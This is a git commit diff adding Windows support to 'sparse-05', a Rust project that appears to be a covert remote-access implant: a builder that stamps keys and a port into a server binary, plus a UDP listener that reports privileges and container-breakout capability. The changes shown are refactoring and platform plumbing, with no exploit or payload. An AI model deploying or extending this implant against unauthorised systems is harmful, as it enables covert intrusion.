feat: added windows support

factored out the packet parsing logic from libpcap

will probably come back to linking against libpcap in a later version
This commit is contained in:
Andrew Rioux
2023-09-02 23:09:05 -04:00
parent 4449a771e2
commit 81fb2ed548
19 changed files with 196 additions and 30 deletions

View File

@@ -4,28 +4,51 @@ use ed25519_dalek::Keypair;
use sparse_05_common::CONFIG_SEPARATOR;
use tokio::{fs, io::AsyncWriteExt};
use crate::configs::ClientConfig;
use crate::{configs::ClientConfig, options::TargetOs};
#[cfg(debug_assertions)]
pub const SPARSE_SERVER_BINARY: &'static [u8] =
pub const SPARSE_LINUX_SERVER_BINARY: &'static [u8] =
include_bytes!("../../../../target/debug/sparse-05-server");
#[cfg(not(debug_assertions))]
pub const SPARSE_SERVER_BINARY: &'static [u8] =
pub const SPARSE_LINUX_SERVER_BINARY: &'static [u8] =
include_bytes!("../../../../target/release/sparse-05-server");
#[cfg(debug_assertions)]
pub const SPARSE_WINDOWS_SERVER_BINARY: &'static [u8] =
include_bytes!("../../../../target/x86_64-pc-windows-gnu/debug/sparse-05-server.exe");
#[cfg(not(debug_assertions))]
pub const SPARSE_WINDOWS_SERVER_BINARY: &'static [u8] =
include_bytes!("../../../../target/x86_64-pc-windows-gnu/release/sparse-05-server.exe");
pub async fn generate(mut name: PathBuf, port: u16) -> anyhow::Result<()> {
pub async fn generate(mut name: PathBuf, port: u16, target: TargetOs) -> anyhow::Result<()> {
let mut csprng = rand::thread_rng();
let keypair = Keypair::generate(&mut csprng);
let (enc_privkey, enc_pubkey) = ecies_ed25519::generate_keypair(&mut csprng);
let mut file = fs::OpenOptions::new()
.write(true)
.create(true)
.mode(0o755)
.open(&name)
.await?;
let mut file = fs::OpenOptions::new();
file.write(true).create(true);
#[cfg(unix)]
file.mode(0o755);
file.write_all(SPARSE_SERVER_BINARY).await?;
#[cfg(windows)]
let old_file_part = name.file_name().unwrap().to_owned();
#[cfg(windows)]
{
let mut file_part = name.file_name().unwrap().to_owned();
file_part.push(OsString::from(".exe"));
name.pop();
name.push(file_part);
}
let mut file = file.open(&name).await?;
#[cfg(windows)]
{
name.pop();
name.push(old_file_part);
}
file.write_all(SPARSE_LINUX_SERVER_BINARY).await?;
file.write_all(CONFIG_SEPARATOR).await?;
file.write_all(&port.to_be_bytes()[..]).await?;
file.write_all(keypair.public.as_bytes()).await?;

View File

@@ -11,7 +11,9 @@ async fn main() -> anyhow::Result<()> {
let options = Options::from_args();
match options.command {
Command::Generate { name, port } => commands::generate::generate(name, port).await,
Command::Generate { name, port, target } => {
commands::generate::generate(name, port, target).await
}
Command::Connect { config, ip } => commands::connect::connect(config, ip).await,
}
}

View File

@@ -14,14 +14,33 @@ fn to_socket_addr(src: &str) -> Result<SocketAddr, std::io::Error> {
))
}
pub enum TargetOs {
Linux,
Windows,
}
impl std::str::FromStr for TargetOs {
type Err = &'static str;
fn from_str(input: &str) -> Result<Self, Self::Err> {
match input {
"linux" => Ok(Self::Linux),
"windows" => Ok(Self::Windows),
_ => Err("could not parse target operating system"),
}
}
}
#[derive(StructOpt)]
pub enum Command {
Generate {
#[structopt(parse(from_os_str))]
name: PathBuf,
#[structopt(default_value = "54248")]
#[structopt(long, short, default_value = "54248")]
port: u16,
#[structopt(long, short, default_value = "linux")]
target: TargetOs,
},
Connect {
#[structopt(parse(from_os_str))]

View File

@@ -4,7 +4,6 @@ version = "0.5.0"
edition = "2021"
[dependencies]
pcap-sys = { path = "../../pcap-sys" }
anyhow = "1.0.70"
ed25519-dalek = "1.0.1"
rand = "0.7"
@@ -16,6 +15,10 @@ rmp-serde = "1.1.2"
catconf = "0.1.2"
sparse-05-common = { version = "0.1.0", path = "../sparse-05-common" }
ecies-ed25519 = { version = "0.5.1", features = ["serde"] }
packets = { path = "../../packets" }
[target.'cfg(unix)'.dependencies]
pcap-sys = { path = "../../pcap-sys" }
[build-dependencies]
cc = "1.0"

View File

@@ -23,6 +23,7 @@ struct cap_user_data_t {
inheritable: u32,
}
#[cfg(target_os = "linux")]
fn get_username(uid: u32) -> anyhow::Result<Option<String>> {
let passwd = std::fs::read_to_string("/etc/passwd")?;
@@ -41,6 +42,12 @@ fn get_username(uid: u32) -> anyhow::Result<Option<String>> {
}))
}
#[cfg(target_os = "windows")]
fn get_username(uid: u32) -> anyhow::Result<Option<String>> {
Ok(std::env::var("USERPROFILE").ok())
}
#[cfg(target_os = "linux")]
fn get_current_capabilities() -> anyhow::Result<Capabilities> {
let mut header = cap_user_header_t {
version: 0x20080522,
@@ -85,6 +92,21 @@ fn get_current_capabilities() -> anyhow::Result<Capabilities> {
})
}
#[cfg(target_os = "windows")]
fn get_current_capabilities() -> anyhow::Result<Capabilities> {
let userent = get_username(0)?;
Ok(Capabilities {
operating_system: OperatingSystem::Windows,
docker_container: false,
docker_breakout: false,
setuid: false,
root: userent.as_deref() == Some("Administrator"),
userent,
transport: TransportType::Udp,
})
}
pub fn get_capabilities() -> anyhow::Result<Capabilities> {
get_current_capabilities()
}

View File

@@ -9,7 +9,7 @@ use std::{
use anyhow::{anyhow, bail, Context};
use ed25519_dalek::{Keypair, Signature, Signer, Verifier};
use pcap_sys::packets::EthernetPacket;
use packets::EthernetPacket;
use sparse_05_common::messages::{Capabilities, Command, Response, CONNECTED_MESSAGE};
#[derive(Clone)]
@@ -39,7 +39,7 @@ struct ConnectionInformation {
impl ConnectionInformation {
fn format_udp_packet(&self, data: &[u8]) -> EthernetPacket {
use pcap_sys::packets::*;
use packets::*;
let udp_packet = UDPPacket::construct(54248, self.srcport, data);
let ip_packet =
@@ -89,10 +89,8 @@ pub fn spawn_connection_handler(
connection_packet: EthernetPacket,
connection_killer: Sender<(Ipv4Addr, u16)>,
) -> anyhow::Result<ConnectionHandle> {
println!("received connection, starting to authenticate");
let conninfo = {
use pcap_sys::packets::*;
use packets::*;
let packet = connection_packet.pkt();
let Layer3Pkt::IPv4Pkt(ip_pkt) = packet.get_layer3_pkt()?;
@@ -183,7 +181,7 @@ fn authenticate<F: Fn()>(
match packet_handler.recv_timeout(std::time::Duration::from_millis(250)) {
Ok(p) => {
use pcap_sys::packets::*;
use packets::*;
let p = p.pkt();
let Layer3Pkt::IPv4Pkt(ip_pkt) = p.get_layer3_pkt()?;
let Layer4Pkt::UDP(udp_pkt) = ip_pkt.get_layer4_packet()?;
@@ -206,8 +204,19 @@ fn authenticate<F: Fn()>(
}
}
println!("Connection made!");
handle_full_connection(capabilities, packet_handler, conninfo, packet_sender, close)
}
fn handle_full_connection<F>(
capabilities: Arc<Capabilities>,
packet_handler: Receiver<EthernetPacket>,
conninfo: ConnectionInformation,
packet_sender: Sender<EthernetPacket>,
close: F,
) -> anyhow::Result<()>
where
F: Fn(),
{
close();
Ok(())

View File

@@ -5,10 +5,11 @@ use std::{
use anyhow::{anyhow, bail};
use pcap_sys::packets::{self, EthernetPkt};
use packets::{self, EthernetPkt};
use sparse_05_common::messages::TransportType;
pub enum Interface {
#[cfg(target_os = "linux")]
RawUdp(pcap_sys::Interface<pcap_sys::DevActivated>, u16),
Udp(UdpSocket, u16),
}
@@ -16,6 +17,7 @@ pub enum Interface {
impl Interface {
pub fn new(ttype: TransportType, port: u16) -> anyhow::Result<Interface> {
match ttype {
#[cfg(target_os = "linux")]
TransportType::RawUdp => {
let mut interfaces = pcap_sys::PcapDevIterator::new()?;
let interface_name = interfaces
@@ -61,6 +63,10 @@ impl Interface {
Ok(Interface::RawUdp(interface, port))
}
#[cfg(target_os = "windows")]
TransportType::RawUdp => {
panic!("transport not available!");
}
TransportType::Udp => Ok(Interface::Udp(
UdpSocket::bind(&format!("0.0.0.0:{port}"))?,
port,
@@ -70,6 +76,7 @@ impl Interface {
pub fn split(self) -> anyhow::Result<(InterfaceSender, InterfaceReceiver)> {
match self {
#[cfg(target_os = "linux")]
Self::RawUdp(interface, port) => {
let arc = Arc::new(interface);
Ok((
@@ -89,6 +96,7 @@ impl Interface {
}
pub enum InterfaceSender {
#[cfg(target_os = "linux")]
RawUdp(Arc<pcap_sys::Interface<pcap_sys::DevActivated>>),
Udp(UdpSocket),
}
@@ -96,9 +104,10 @@ pub enum InterfaceSender {
impl InterfaceSender {
pub fn sendpacket(&self, packet: EthernetPkt) -> anyhow::Result<()> {
match self {
#[cfg(target_os = "linux")]
Self::RawUdp(interf) => Ok(interf.sendpacket(packet)?),
Self::Udp(interf) => {
use pcap_sys::packets::*;
use packets::*;
let Layer3Pkt::IPv4Pkt(ip_pkt) = packet.get_layer3_pkt()?;
let Layer4Pkt::UDP(udp_pkt) = ip_pkt.get_layer4_packet()?;
@@ -113,6 +122,7 @@ impl InterfaceSender {
}
pub enum InterfaceReceiver {
#[cfg(target_os = "linux")]
RawUdp(Arc<pcap_sys::Interface<pcap_sys::DevActivated>>),
Udp(UdpSocket, u16),
}
@@ -123,6 +133,7 @@ impl InterfaceReceiver {
F: FnMut(packets::EthernetPacket) -> anyhow::Result<()>,
{
match self {
#[cfg(target_os = "linux")]
Self::RawUdp(interf) => interf.listen(
move |_, packet| {
let _ = (f)(packet.to_owned());
@@ -132,7 +143,7 @@ impl InterfaceReceiver {
-1,
),
Self::Udp(interf, port) => loop {
use pcap_sys::packets::*;
use packets::*;
let mut buf = [0u8; 2000];

View File

@@ -8,7 +8,8 @@ use std::{
use anyhow::{bail, Context};
use connection::ConnectionHandle;
use pcap_sys::packets::EthernetPacket;
use packets::EthernetPacket;
use sparse_05_common::CONFIG_SEPARATOR;
use crate::connection::spawn_connection_handler;
@@ -65,7 +66,7 @@ fn main() -> anyhow::Result<()> {
interface_receiver
.listen(|pkt| {
use pcap_sys::packets::*;
use packets::*;
let pkt = pkt.pkt();